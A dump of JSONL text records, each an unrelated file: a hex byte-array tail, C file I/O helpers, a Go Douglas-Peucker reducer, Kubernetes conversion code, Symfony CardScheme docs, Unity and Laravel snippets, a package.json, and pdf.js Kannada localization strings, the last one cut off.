0x77, 0x58, 0xee, 0x70, 0x0c, 0x91, 0x59, 0xc8, 0x1a, 0xb7, 0xb7,\n\t0x6a, 0xb9, 0x32, 0x4c, 0xfe, 0x6d, 0xc0, 0x27, 0x29, 0x5e, 0x49, 0x43, 0xda, 0x89, 0x70, 0xa6,\n\t0x48, 0x57, 0xf5, 0x58, 0xc1, 0x2d, 0x63, 0xd9, 0x42, 0x94, 0x5c, 0xa3, 0x22, 0x5b, 0x08, 0xaf,\n\t0x6f, 0xe8, 0x81, 0x73, 0x51, 0xaf, 0x52, 0x73, 0xa3, 0x4a, 0xfb, 0xd0, 0x24, 0x9a, 0x38, 0xe1,\n\t0x5a, 0xa9, 0x1d, 0xb2, 0xef, 0x60, 0x77, 0x84, 0x02, 0x35, 0x27, 0x34, 0xd9, 0x4c, 0xd2, 0x38,\n\t0x6e, 0xf5, 0x9a, 0xfd, 0x28, 0xbd, 0xbb, 0x44, 0x7f, 0x97, 0x34, 0x66, 0x07, 0x10, 0xda, 0xbe,\n\t0xa8, 0x6c, 0xd0, 0x1d, 0x17, 0xd4, 0xf5, 0x49, 0x75, 0x2e, 0x6c, 0xf3, 0x71, 0x91, 0x4b, 0x15,\n\t0xb7, 0x7b, 0x41, 0x3f, 0x4c, 0xfd, 0x84, 0x7d, 0x05, 0x20, 0x8a, 0x99, 0x32, 0xa4, 0x91, 0xe7,\n\t0x71, 0xe8, 0x96, 0xd6, 0x10, 0xd6, 0x83, 0x8e, 0x0b, 0x70, 0xf6, 0xa6, 0x94, 0xba, 0x8a, 0x23,\n\t0xa7, 0xf5, 0x3a, 0x64, 0x13, 0x11, 0xca, 0x64, 0x8a, 0xe7, 0x68, 0x62, 0x70, 0xa4, 0x42, 0xa1,\n\t0xcc, 0x85, 0x9d, 0xb3, 0x1f, 0x60, 0x4f, 0xe3, 0x6b, 0x69, 0x6c, 0xaf, 0xcd, 0xeb, 0xdb, 0x71,\n\t0x21, 0x76, 0x17, 0xb0, 0x2f, 0x6d, 0xf2, 0x57, 0x03, 0xee, 0xbf, 0xa5, 0xfb, 0xaf, 0xdc, 0x5c,\n\t0xb3, 0x2f, 0xea, 0xda, 0x5b, 0x82, 0xdb, 0x34, 0x0e, 0xb7, 0x69, 0x1c, 0xde, 0xac, 0x71, 0xf8,\n\t0x6e, 0x8d, 0xed, 0xe2, 0x7b, 0x34, 0x0e, 0x3f, 0x82, 0xc6, 0xe1, 0x56, 0x8d, 0x5d, 0x22, 0x0b,\n\t0x8d, 0x93, 0x97, 0x70, 0x6f, 0x53, 0x39, 0x89, 0x86, 0x3d, 0xdd, 0xbc, 0x49, 0xbe, 0xae, 0x77,\n\t0xec, 0x5b, 0x6a, 0xaf, 0xae, 0x94, 0x87, 0xd0, 0xb1, 0x47, 0x49, 0x8e, 0xe4, 0x90, 0x93, 0xbb,\n\t0x50, 0x04, 0xea, 0x6c, 0x50, 0x11, 0xfa, 0x0a, 0x74, 0xd3, 0x50, 0xa0, 0x3e, 0xb5, 0xf3, 0xe4,\n\t0x0f, 0x88, 0x5e, 0x4e, 0x07, 0x13, 0x39, 0x7c, 0x81, 0x15, 0xfb, 0x12, 0xa0, 0xbc, 0x96, 0x6f,\n\t0x6a, 0xa6, 0x91, 0x45, 0x9c, 0xad, 0x95, 0xfc, 0x7a, 0x79, 0x14, 0xec, 0xd0, 0x86, 0x5e, 0x1d,\n\t0xe4, 0xa6, 0xeb, 0x8c, 0x50, 0xcd, 0x4f, 0x70, 0xf2, 0x4f, 0x00, 0x3b, 0xa7, 0x53, 0x25, 0x26,\n\t0xc8, 0xbe, 0x87, 0x3d, 0xd2, 0x53, 0x43, 0x99, 0x28, 0x72, 0x2e, 0xd5, 0xea, 0x66, 0xbb, 0xeb,\n\t0xe0, 0xe7, 0x0e, 0x3d, 0x17, 0xec, 0x18, 0x42, 0x5d, 0x14, 0x94, 0x0d, 0xb9, 0x89, 0x1b, 0x2e,\n\t0xeb, 0x83, 0x7a, 0xd6, 0x6b, 0x79, 0xa5, 0x6d, 0x6b, 0xfa, 0x8c, 0x1b, 0x76, 0x02, 0xfb, 0xaf,\n\t0x66, 0x94, 0x19, 0x79, 0xa5, 0xa4, 0xba, 0xca, 0xae, 0xb1, 0x32, 0x71, 0xd3, 0x79, 0x7f, 0x56,\n\t0xf7, 0x5e, 0x66, 0x9a, 0xee, 0xbe, 0x9a, 0xd1, 0xa5, 0xb7, 0x7f, 0x81, 0x95, 0x61, 0xdf, 0x40,\n\t0x57, 0xe3, 0x48, 0xa3, 0x19, 0x67, 0x63, 0xa9, 0x68, 0x7e, 0xe7, 0x75, 0xe6, 0xd8, 0x2f, 0x52,\n\t0x51, 0x42, 0x00, 0x3e, 0x1b, 0xd7, 0xd6, 0x07, 0x6b, 0x4c, 0x7d, 0x57, 0x2f, 0xe9, 0xf4, 0x6f,\n\t0xa0, 0xe3, 0x5b, 0xfb, 0x7d, 0xbb, 0xfa, 0x1e, 0xaf, 0xed, 0xfa, 0x5f, 0x00, 0xfb, 0xeb, 0xcf,\n\t0x83, 0xdb, 0xfc, 0x9d, 0xaf, 0x80, 0x67, 0xf2, 0x01, 0xaf, 0x80, 0xe7, 0x75, 0x9b, 0x57, 0xc0,\n\t0x73, 0xbb, 0xed, 0x2b, 0xe0, 0x8f, 0xe5, 0x07, 0xbc, 0x02, 0xfe, 0xa8, 0x6e, 0xbe, 0x02, 0xa7,\n\t0x8f, 0xfe, 0x7c, 0x78, 0x25, 0x69, 0x3c, 0x1d, 0xd8, 0x12, 0x1e, 0xf9, 0xc3, 0x7f, 0xe4, 0xff,\n\t0x09, 0xdc, 0x5f, 0xc0, 0xd1, 0xfa, 0xff, 0xc1, 0x60, 0xc7, 0x61, 0x4f, 0xfe, 0x0f, 0x00, 0x00,\n\t0xff, 0xff, 0xa6, 0x57, 0x2c, 0xa4, 0x36, 0x08, 0x00, 0x00,\n}\n"} +{"text": "#include \n#include \"common.h\"\n\nDWORD\nbuffer_from_file(LPCSTR filePath, PUCHAR *buffer, PULONG length)\n{\n\tint fd, res = 0;\n\toff_t size;\t\n\tchar *buf = NULL;\n\t\n\tif ((fd = open(filePath, O_RDONLY)) < 0) {\n\t\tres = errno;\n\t\treturn (res);\t\t\n\t}\n\t/*\n\t * find the end\n\t */\n\tif ((size = lseek(fd, 0, SEEK_END)) < 0) {\t\t\n\t\tres = errno;\n\t\tgoto done;\n\t}\t\n\tif ((res = lseek(fd, 0, SEEK_SET)) < 0) {\t\t\n\t\tres = errno;\n\t\tgoto done;\n\t}\n\tif ((buf = malloc(size)) == NULL) {\n\t\tres = ENOMEM;\n\t\tgoto done;\n\t}\n\tif (read(fd, buf, size) < size) {\n\t\tres = errno;\n\t\tfree(buf); \n\t}\ndone:\t\t\n\tclose(fd);\t\n\tif (res == 0) {\n\t\tif (buffer)\n\t\t\t*buffer = buf;\n\t\telse\n\t\t\tfree(buf);\t\t\n\t\tif (length)\n\t\t\t*length = size;\n\t}\n\treturn (res);\n}\n\nDWORD\nbuffer_to_file(LPCSTR filePath, PUCHAR buffer, ULONG length)\n{\n\tint fd, res = 0;\n\toff_t size;\t\n\t\n\tif ((fd = open(filePath, O_CREAT|O_TRUNC|O_WRONLY, 0777)) < 0) {\n\t\tres = errno;\n\t\treturn (res);\t\t\n\t}\n\tif (write(fd, buffer, length) < length)\n\t\tres = errno;\t\n\n\tclose(fd);\t\n\treturn (res);\n}\n"} +{"text": "package reducers\n\nimport (\n\t\"github.com/paulmach/go.geo\"\n)\n\n// A DouglasPeuckerReducer wraps the DouglasPeucker function\n// to fulfill the geo.Reducer and geo.GeoReducer interfaces.\ntype DouglasPeuckerReducer struct {\n\tThreshold float64\n}\n\n// NewDouglasPeucker creates a new DouglasPeuckerReducer.\nfunc NewDouglasPeucker(threshold float64) *DouglasPeuckerReducer {\n\treturn &DouglasPeuckerReducer{\n\t\tThreshold: threshold,\n\t}\n}\n\n// Reduce runs the DouglasPeucker using the threshold of the DouglasPeuckerReducer.\nfunc (r DouglasPeuckerReducer) Reduce(path *geo.Path) *geo.Path {\n\treturn DouglasPeucker(path, r.Threshold)\n}\n\n// GeoReduce runs the DouglasPeucker on a lng/lat path.\n// The threshold is expected to be in meters.\nfunc (r DouglasPeuckerReducer) GeoReduce(path *geo.Path) *geo.Path {\n\tfactor := geo.MercatorScaleFactor(path.Bound().Center().Lat())\n\tmerc := path.Clone().Transform(geo.Mercator.Project)\n\treduced := DouglasPeucker(merc, r.Threshold*factor)\n\n\treturn reduced.Transform(geo.Mercator.Inverse)\n}\n\n// DouglasPeucker simplifies the path using the Douglas Peucker method.\n// Returns a new path and DOES NOT modify the original.\nfunc DouglasPeucker(path *geo.Path, threshold float64) *geo.Path {\n\tif path.Length() <= 2 {\n\t\treturn path.Clone()\n\t}\n\n\tmask := make([]byte, path.Length())\n\tmask[0] = 1\n\tmask[path.Length()-1] = 1\n\n\tpoints := path.Points()\n\n\tfound := dpWorker(points, threshold, mask)\n\tnewPoints := make([]geo.Point, 0, found)\n\n\tfor i, v := range mask {\n\t\tif v == 1 {\n\t\t\tnewPoints = append(newPoints, points[i])\n\t\t}\n\t}\n\n\treturn (&geo.Path{}).SetPoints(newPoints)\n}\n\n// DouglasPeuckerIndexMap is similar to DouglasPeucker but returns an array that maps\n// each new path index to its original path index.\n// Returns a new path and DOES NOT modify the original.\nfunc DouglasPeuckerIndexMap(path *geo.Path, threshold float64) (reduced *geo.Path, indexMap []int) {\n\tif path.Length() == 0 {\n\t\treturn path.Clone(), []int{}\n\t}\n\n\tif path.Length() == 1 {\n\t\treturn path.Clone(), []int{0}\n\t}\n\n\tif path.Length() == 2 {\n\t\treturn path.Clone(), []int{0, 1}\n\t}\n\n\tmask := make([]byte, path.Length())\n\tmask[0] = 1\n\tmask[path.Length()-1] = 1\n\n\toriginalPoints := path.Points()\n\n\tfound := dpWorker(originalPoints, threshold, mask)\n\n\tpoints := make([]geo.Point, 0, found)\n\tfor i, v := range mask {\n\t\tif v == 1 {\n\t\t\tpoints = append(points, originalPoints[i])\n\t\t\tindexMap = append(indexMap, i)\n\t\t}\n\t}\n\n\treduced = &geo.Path{}\n\treturn reduced.SetPoints(points), indexMap\n}\n\n// DouglasPeuckerGeoIndexMap is similar to GeoReduce but returns an array that maps\n// each new path index to its original path index.\n// Returns a new path and DOES NOT modify the original.\nfunc DouglasPeuckerGeoIndexMap(path *geo.Path, meters float64) (reduced *geo.Path, indexMap []int) {\n\tif path.Length() == 0 {\n\t\treturn path.Clone(), []int{}\n\t}\n\n\tif path.Length() == 1 {\n\t\treturn path.Clone(), []int{0}\n\t}\n\n\tif path.Length() == 2 {\n\t\treturn path.Clone(), []int{0, 1}\n\t}\n\n\tmask := make([]byte, path.Length())\n\tmask[0] = 1\n\tmask[path.Length()-1] = 1\n\n\tfactor := geo.MercatorScaleFactor(path.Bound().Center().Lat())\n\toriginalPoints := path.Clone().Transform(geo.Mercator.Project).Points()\n\tfound := dpWorker(originalPoints, meters*factor, mask)\n\n\tpoints := make([]geo.Point, 0, found)\n\tfor i, v := range mask {\n\t\tif v == 1 {\n\t\t\tpoints = append(points, originalPoints[i])\n\t\t\tindexMap = append(indexMap, i)\n\t\t}\n\t}\n\n\treduced = &geo.Path{}\n\treduced.SetPoints(points)\n\treduced.Transform(geo.Mercator.Inverse)\n\treturn reduced, indexMap\n}\n\n// dpWorker does the recursive threshold checks.\n// Using a stack array with a stackLength variable resulted in 4x speed improvement\n// over calling the function recursively.\nfunc dpWorker(points []geo.Point, threshold float64, mask []byte) int {\n\n\tfound := 0\n\n\tvar stack []int\n\tstack = append(stack, 0, len(points)-1)\n\n\tl := &geo.Line{}\n\tfor len(stack) > 0 {\n\t\tstart := stack[len(stack)-2]\n\t\tend := stack[len(stack)-1]\n\n\t\t// modify the line in place\n\t\ta := l.A()\n\t\ta[0], a[1] = points[start][0], points[start][1]\n\n\t\tb := l.B()\n\t\tb[0], b[1] = points[end][0], points[end][1]\n\n\t\tmaxDist := 0.0\n\t\tmaxIndex := 0\n\t\tfor i := start + 1; i < end; i++ {\n\t\t\tdist := l.SquaredDistanceFrom(&points[i])\n\n\t\t\tif dist > maxDist {\n\t\t\t\tmaxDist = dist\n\t\t\t\tmaxIndex = i\n\t\t\t}\n\t\t}\n\n\t\tif maxDist > threshold*threshold {\n\t\t\tfound++\n\t\t\tmask[maxIndex] = 1\n\n\t\t\tstack[len(stack)-1] = maxIndex\n\t\t\tstack = append(stack, maxIndex, end)\n\t\t} else {\n\t\t\tstack = stack[:len(stack)-2]\n\t\t}\n\t}\n\n\treturn found\n}\n"} +{"text": "/*\nCopyright 2018 The Kubernetes Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage v1alpha1\n\nimport (\n\t\"k8s.io/apimachinery/pkg/conversion\"\n\t\"k8s.io/component-base/config\"\n)\n\n// Important! The public back-and-forth conversion functions for the types in this generic\n// package with ComponentConfig types need to be manually exposed like this in order for\n// other packages that reference this package to be able to call these conversion functions\n// in an autogenerated manner.\n// TODO: Fix the bug in conversion-gen so it automatically discovers these Convert_* functions\n// in autogenerated code as well.\n\nfunc Convert_v1alpha1_ClientConnectionConfiguration_To_config_ClientConnectionConfiguration(in *ClientConnectionConfiguration, out *config.ClientConnectionConfiguration, s conversion.Scope) error {\n\treturn autoConvert_v1alpha1_ClientConnectionConfiguration_To_config_ClientConnectionConfiguration(in, out, s)\n}\n\nfunc Convert_config_ClientConnectionConfiguration_To_v1alpha1_ClientConnectionConfiguration(in *config.ClientConnectionConfiguration, out *ClientConnectionConfiguration, s conversion.Scope) error {\n\treturn autoConvert_config_ClientConnectionConfiguration_To_v1alpha1_ClientConnectionConfiguration(in, out, s)\n}\n\nfunc Convert_v1alpha1_DebuggingConfiguration_To_config_DebuggingConfiguration(in *DebuggingConfiguration, out *config.DebuggingConfiguration, s conversion.Scope) error {\n\treturn autoConvert_v1alpha1_DebuggingConfiguration_To_config_DebuggingConfiguration(in, out, s)\n}\n\nfunc Convert_config_DebuggingConfiguration_To_v1alpha1_DebuggingConfiguration(in *config.DebuggingConfiguration, out *DebuggingConfiguration, s conversion.Scope) error {\n\treturn autoConvert_config_DebuggingConfiguration_To_v1alpha1_DebuggingConfiguration(in, out, s)\n}\n\nfunc Convert_v1alpha1_LeaderElectionConfiguration_To_config_LeaderElectionConfiguration(in *LeaderElectionConfiguration, out *config.LeaderElectionConfiguration, s conversion.Scope) error {\n\treturn autoConvert_v1alpha1_LeaderElectionConfiguration_To_config_LeaderElectionConfiguration(in, out, s)\n}\n\nfunc Convert_config_LeaderElectionConfiguration_To_v1alpha1_LeaderElectionConfiguration(in *config.LeaderElectionConfiguration, out *LeaderElectionConfiguration, s conversion.Scope) error {\n\treturn autoConvert_config_LeaderElectionConfiguration_To_v1alpha1_LeaderElectionConfiguration(in, out, s)\n}\n\nfunc Convert_v1alpha1_LoggingConfiguration_To_config_LoggingConfiguration(in *LoggingConfiguration, out *config.LoggingConfiguration, s conversion.Scope) error {\n\treturn autoConvert_v1alpha1_LoggingConfiguration_To_config_LoggingConfiguration(in, out, s)\n}\n\nfunc Convert_config_LoggingConfiguration_To_v1alpha1_LoggingConfiguration(in *config.LoggingConfiguration, out *LoggingConfiguration, s conversion.Scope) error {\n\treturn autoConvert_config_LoggingConfiguration_To_v1alpha1_LoggingConfiguration(in, out, s)\n}\n"} +{"text": "CardScheme\n==========\n\nThis constraint ensures that a credit card number is valid for a given credit\ncard company. It can be used to validate the number before trying to initiate\na payment through a payment gateway.\n\n========== ===================================================================\nApplies to :ref:`property or method `\nOptions - `groups`_\n - `message`_\n - `payload`_\n - `schemes`_\nClass :class:`Symfony\\\\Component\\\\Validator\\\\Constraints\\\\CardScheme`\nValidator :class:`Symfony\\\\Component\\\\Validator\\\\Constraints\\\\CardSchemeValidator`\n========== ===================================================================\n\nBasic Usage\n-----------\n\nTo use the ``CardScheme`` validator, apply it to a property or method\non an object that will contain a credit card number.\n\n.. configuration-block::\n\n .. code-block:: php-annotations\n\n // src/Entity/Transaction.php\n namespace App\\Entity;\n\n use Symfony\\Component\\Validator\\Constraints as Assert;\n\n class Transaction\n {\n /**\n * @Assert\\CardScheme(\n * schemes={\"VISA\"},\n * message=\"Your credit card number is invalid.\"\n * )\n */\n protected $cardNumber;\n }\n\n .. code-block:: yaml\n\n # config/validator/validation.yaml\n App\\Entity\\Transaction:\n properties:\n cardNumber:\n - CardScheme:\n schemes: [VISA]\n message: Your credit card number is invalid.\n\n .. code-block:: xml\n\n \n \n \n\n \n \n \n \n \n \n \n \n \n\n .. code-block:: php\n\n // src/Entity/Transaction.php\n namespace App\\Entity;\n\n use Symfony\\Component\\Validator\\Constraints as Assert;\n use Symfony\\Component\\Validator\\Mapping\\ClassMetadata;\n\n class Transaction\n {\n public static function loadValidatorMetadata(ClassMetadata $metadata)\n {\n $metadata->addPropertyConstraint('cardNumber', new Assert\\CardScheme([\n 'schemes' => [\n 'VISA',\n ],\n 'message' => 'Your credit card number is invalid.',\n ]));\n }\n }\n\n.. include:: /reference/constraints/_empty-values-are-valid.rst.inc\n\nAvailable Options\n-----------------\n\n.. include:: /reference/constraints/_groups-option.rst.inc\n\nmessage\n~~~~~~~\n\n**type**: ``string`` **default**: ``Unsupported card type or invalid card number.``\n\nThe message shown when the value does not pass the ``CardScheme`` check.\n\nYou can use the following parameters in this message:\n\n=============== ==============================================================\nParameter Description\n=============== ==============================================================\n``{{ value }}`` The current (invalid) value\n``{{ label }}`` Corresponding form field label\n=============== ==============================================================\n\n.. versionadded:: 5.2\n\n The ``{{ label }}`` parameter was introduced in Symfony 5.2.\n\n.. include:: /reference/constraints/_payload-option.rst.inc\n\nschemes\n~~~~~~~\n\n**type**: ``mixed`` [:ref:`default option `]\n\nThis option is required and represents the name of the number scheme used\nto validate the credit card number, it can either be a string or an array.\nValid values are:\n\n* ``AMEX``\n* ``CHINA_UNIONPAY``\n* ``DINERS``\n* ``DISCOVER``\n* ``INSTAPAYMENT``\n* ``JCB``\n* ``LASER``\n* ``MAESTRO``\n* ``MASTERCARD``\n* ``MIR``\n* ``UATP``\n* ``VISA``\n\nFor more information about the used schemes, see\n`Wikipedia: Issuer identification number (IIN)`_.\n\n.. _`Wikipedia: Issuer identification number (IIN)`: https://en.wikipedia.org/wiki/Bank_card_number#Issuer_identification_number_.28IIN.29\n"} +{"text": "using FrameWork.GuideSystem;\nusing System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\n\npublic class GuideSyetem : GuideSystemBase\n{\n private static GuideSyetem s_instance;\n\n public static GuideSyetem Instance\n {\n get\n {\n if(s_instance == null)\n {\n s_instance = new GuideSyetem();\n s_instance.Init();\n }\n return s_instance;\n }\n\n set\n {\n s_instance = value;\n }\n }\n}\n"} +{"text": "belongsTo( PatchPanelPortHistory::class , 'patch_panel_port_history_id' );\n }\n\n /**\n * Gets a listing of patch panel port files history for a customer\n */\n public static function getForCustomer( Customer $cust, bool $includePrivate = true ): Collection\n {\n $q = self::join( 'patch_panel_port_history as ppph' , 'patch_panel_port_history_file.patch_panel_port_history_id' , 'ppph.id' )\n ->where('ppph.cust_id', $cust->id );\n\n if( !$includePrivate ) {\n $q->where( 'ppphf.is_private', '0' );\n }\n\n return $q->get();\n }\n}\n"} +{"text": "{\n \"name\": \"spfx\",\n \"version\": \"0.0.1\",\n \"private\": true,\n \"engines\": {\n \"node\": \">=0.10.0\"\n },\n \"scripts\": {\n \"build\": \"gulp bundle\",\n \"clean\": \"gulp clean\",\n \"test\": \"gulp test\"\n },\n \"dependencies\": {\n \"@microsoft/sp-component-base\": \"1.3.4\",\n \"@microsoft/sp-core-library\": \"~1.3.4\",\n \"@microsoft/sp-extension-base\": \"1.3.4\",\n \"@microsoft/sp-http\": \"1.3.4\",\n \"@microsoft/sp-loader\": \"1.3.4\",\n \"@microsoft/sp-module-interfaces\": \"1.3.4\",\n \"@microsoft/sp-odata-types\": \"1.3.4\",\n \"@microsoft/sp-page-context\": \"1.3.4\",\n \"@microsoft/sp-webpart-base\": \"~1.3.4\",\n \"@microsoft/sp-lodash-subset\": \"~1.3.4\",\n \"@microsoft/sp-office-ui-fabric-core\": \"~1.3.4\",\n \"@types/webpack-env\": \">=1.12.1 <1.14.0\"\n },\n \"devDependencies\": {\n \"@microsoft/sp-build-web\": \"~1.3.4\",\n \"@microsoft/sp-module-interfaces\": \"~1.3.4\",\n \"@microsoft/sp-webpart-workbench\": \"~1.3.4\",\n \"gulp\": \"~3.9.1\",\n \"@types/chai\": \">=3.4.34 <3.6.0\",\n \"@types/mocha\": \">=2.2.33 <2.6.0\",\n \"ajv\": \"~5.2.2\"\n }\n}\n"} +{"text": "# Copyright 2012 Mozilla Foundation\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# Main toolbar buttons (tooltips and alt text for images)\nprevious.title=ಹಿಂದಿನ ಪುಟ\nprevious_label=ಹಿಂದಿನ\nnext.title=ಮುಂದಿನ ಪುಟ\nnext_label=ಮುಂದಿನ\n\n# LOCALIZATION NOTE (page_label, page_of):\n# These strings are concatenated to form the \"Page: X of Y\" string.\n# Do not translate \"{{pageCount}}\", it will be substituted with a number\n# representing the total number of pages.\npage_label=ಪುಟ:\npage_of={{pageCount}} ರಲ್ಲಿ\n\nzoom_out.title=ಕಿರಿದಾಗಿಸು\nzoom_out_label=ಕಿರಿದಾಗಿಸಿ\nzoom_in.title=ಹಿರಿದಾಗಿಸು\nzoom_in_label=ಹಿರಿದಾಗಿಸಿ\nzoom.title=ಗಾತ್ರಬದಲಿಸು\npresentation_mode.title=ಪ್ರಸ್ತುತಿ (ಪ್ರಸೆಂಟೇಶನ್) ಕ್ರಮಕ್ಕೆ ಬದಲಾಯಿಸು\npresentation_mode_label=ಪ್ರಸ್ತುತಿ (ಪ್ರಸೆಂಟೇಶನ್) ಕ್ರಮ\nopen_file.title=ಕಡತವನ್ನು ತೆರೆ\nopen_file_label=ತೆರೆಯಿರಿ\nprint.title=ಮುದ್ರಿಸು\nprint_label=ಮುದ್ರಿಸಿ\ndownload.title=ಇಳಿಸು\ndownload_label=ಇಳಿಸಿಕೊಳ್ಳಿ\nbookmark.title=ಪ್ರಸಕ್ತ ನೋಟ (ಪ್ರತಿ ಮಾಡು ಅಥವ ಹೊಸ ಕಿಟಕಿಯಲ್ಲಿ ತೆರೆ)\nbookmark_label=ಪ್ರಸಕ್ತ ನೋಟ\n\n# Secondary toolbar and context menu\ntools.title=ಉಪಕರಣಗಳು\ntools_label=ಉಪಕರಣಗಳು\nfirst_page.title=ಮೊದಲ ಪುಟಕ್ಕೆ ತೆರಳು\nfirst_page.label=ಮೊದಲ ಪುಟಕ್ಕೆ ತೆರಳು\nfirst_page_label=ಮೊದಲ ಪುಟಕ್ಕೆ ತೆರಳು\nlast_page.title=ಕೊನೆಯ ಪುಟಕ್ಕೆ ತೆರಳು\nlast_page.label=ಕೊನೆಯ ಪುಟಕ್ಕೆ ತೆರಳು\nlast_page_label=ಕೊನೆಯ ಪುಟಕ್ಕೆ ತೆರಳು\npage_rotate_cw.title=ಪ್ರದಕ್ಷಿಣೆಯಲ್ಲಿ ತಿರುಗಿಸು\npage_rotate_cw.label=ಪ್ರದಕ್ಷಿಣೆಯಲ್ಲಿ ತಿರುಗಿಸು\npage_rotate_cw_label=ಪ್ರದಕ್ಷಿಣೆಯಲ್ಲಿ ತಿರುಗಿಸು\npage_rotate_ccw.title=ಅಪ್ರದಕ್ಷಿಣೆಯಲ್ಲಿ ತಿರುಗಿಸು\npage_rotate_ccw.label=ಅಪ್ರದಕ್ಷಿಣೆಯಲ್ಲಿ ತಿರುಗಿಸು\npage_rotate_ccw_label=ಅಪ್ರದಕ್ಷಿಣೆಯಲ್ಲಿ ತಿರುಗಿಸು\n\nhand_tool_enable.title=ಕೈ ಉಪಕರಣವನ್ನು ಸಕ್ರಿಯಗೊಳಿಸು\nhand_tool_enable_label=ಕೈ ಉಪಕರಣವನ್ನು ಸಕ್ರಿಯಗೊಳಿಸು\nhand_tool_disable.title=ಕೈ ಉಪಕರಣವನ್ನು ನಿಷ್ಕ್ರಿಯಗೊಳಿಸು\nhand_tool_disable_label=ಕೈ ಉಪಕರಣವನ್ನು ನಿಷ್ಕ್ರಿಯಗೊಳಿಸು\n\n# Document properties dialog box\ndocument_properties.title=ಡಾಕ್ಯುಮೆಂಟ್‌ ಗುಣಗಳು...\ndocument_properties_label=ಡಾಕ್ಯುಮೆಂಟ್‌ ಗುಣಗಳು...\ndocument_properties_file_name=ಕಡತದ ಹೆಸರು:\ndocument_properties_file_size=ಕಡತದ ಗಾತ್ರ:\ndocument_properties_kb={{size_kb}} KB ({{size_b}} ಬೈಟ್‍ಗಳು)\ndocument_properties_mb={{size_mb}} MB ({{size_b}} ಬೈಟ್‍ಗಳು)\ndocument_properties_title=ಶೀರ್ಷಿಕೆ:\ndocument_properties_author=ಕರ್ತೃ:\ndocument_properties_subject=ವಿಷಯ:\ndocument_properties_keywords=ಮುಖ್ಯಪದಗಳು:\ndocument_properties_creation_date=ರಚಿಸಿದ ದಿನಾಂಕ:\ndocument_properties_modification_date=ಮಾರ್ಪಡಿಸಲಾದ ದಿನಾಂಕ:\ndocument_properties_date_string={{date}}, {{time}}\ndocument_properties_creator=ರಚಿಸಿದವರು:\ndocument_properties_producer=PDF ಉತ್ಪಾದಕ:\ndocument_properties_version=PDF ಆವೃತ್ತಿ:\ndocument_properties_page_count=ಪುಟದ ಎಣಿಕೆ:\ndocument_properties_close=ಮುಚ್ಚು\n\n# Tooltips and alt text for side panel toolbar buttons\n# (the _label strings are alt text for the buttons, the .title strings are\n# tooltips)\ntoggle_sidebar.title=ಬದಿಪಟ್ಟಿಯನ್ನು ಹೊರಳಿಸು\ntoggle_sidebar_label=ಬದಿಪಟ್ಟಿಯನ್ನು ಹೊರಳಿಸು\noutline.title=ದಸ್ತಾವೇಜಿನ ಹೊರರೇಖೆಯನ್ನು ತೋರಿಸು\noutline_label=ದಸ್ತಾವೇಜಿನ ಹೊರರೇಖೆ\nattachments.title=ಲಗತ್ತುಗಳನ್ನು ತೋರಿಸು\nattachments_label=ಲಗತ್ತುಗಳು\nthumbs.title=ಚಿಕ್ಕಚಿತ್ರದಂತೆ ತೋರಿಸು\nthumbs_label=ಚಿಕ್ಕಚಿತ್ರಗಳು\nfindbar.title=ದಸ್ತಾವೇಜಿನಲ್ಲಿ ಹುಡುಕು\nfindbar_label=ಹುಡುಕು\n\n# Thumbnails panel item (tooltip and alt text for images)\n# LOCALIZATION NOTE (thumb_page_title): \"{{page}}\" will be replaced by the page\n# number.\nthumb_page_title=ಪುಟ {{page}}\n# LOCALIZATION NOTE (thumb_page_canvas): \"{{page}}\" will be replaced by the page\n# number.\nthumb_page_canvas=ಪುಟವನ್ನು ಚಿಕ್ಕಚಿತ್ರದಂತೆ ತೋರಿಸು {{page}}\n\n# Find panel button title and messages\nfind_label=ಹುಡುಕು:\nfind_previous.title=ವಾಕ್ಯದ ಹಿಂದಿನ ಇರುವಿಕೆಯನ್ನು ಹುಡುಕು\nfind_previous_label=ಹಿಂದಿನ\nfind_next.title=ವಾಕ್ಯದ ಮುಂದಿನ ಇರುವಿಕೆಯನ್ನು ಹುಡುಕು\nfind_next_label=ಮುಂದಿನ\nfind_highlight=ಎಲ್ಲವನ್ನು ಹೈಲೈಟ್ ಮಾಡು\nfind_match_case_label=ಕೇಸನ್ನು ಹೊಂದಿಸು\nfind_reached_top=ದಸ್ತಾವೇಜಿನ ಮೇಲ್ಭಾಗವನ್ನು ತಲುಪಿದೆ, ಕೆಳಗಿನಿಂದ ಆರಂಭಿಸು\nfind_reached_bottom=ದಸ್ತಾವೇಜಿನ ಕೊನೆಯನ್ನು ತಲುಪಿದೆ, ಮೇಲಿನಿಂದ ಆರಂಭಿಸು\nfind_not_found=ವಾಕ್ಯವು ಕಂಡು ಬಂದಿಲ್ಲ\n\n# Error panel labels\nerror_more_info=ಹೆಚ್ಚಿನ ಮಾಹಿತಿ\nerror_less_info=ಕಡಿಮೆ ಮಾಹಿತಿ\nerror_close=ಮುಚ್ಚು\n# LOCALIZATION NOTE (error_version_info): \"{{version}}\" and \"{{build}}\" will be\n# replaced by the PDF.JS version and build ID.\nerror_version_info=PDF.js v{{version}} (build: {{build}})\n# LOCALIZATION NOTE (error_message): \"{{message}}\" will be replaced by an\n# english string describing the error.\nerror_message=ಸಂದೇಶ: {{message}}\n# LOCALIZATION NOTE (error_stack): \"{{stack}}\" will be replaced with a stack\n# trace.\nerror_stack=ರಾಶಿ: {{stack}}\n# LOCALIZATION NOTE (error_file): \"{{file}}\" will be replaced with a filename\nerror_file=ಕಡತ: {{file}}\n# LOCALIZATION NOTE (error_line): \"{{line}}\" will be replaced with a line number\nerror_line=ಸಾಲು: {{line}}\nrendering_error=ಪುಟವನ್ನು ನಿರೂಪಿಸುವಾಗ ಒಂದು ದೋಷ ಎದುರಾಗಿದೆ.\n\n# Predefined zoom values\npage_scale_width=ಪುಟದ 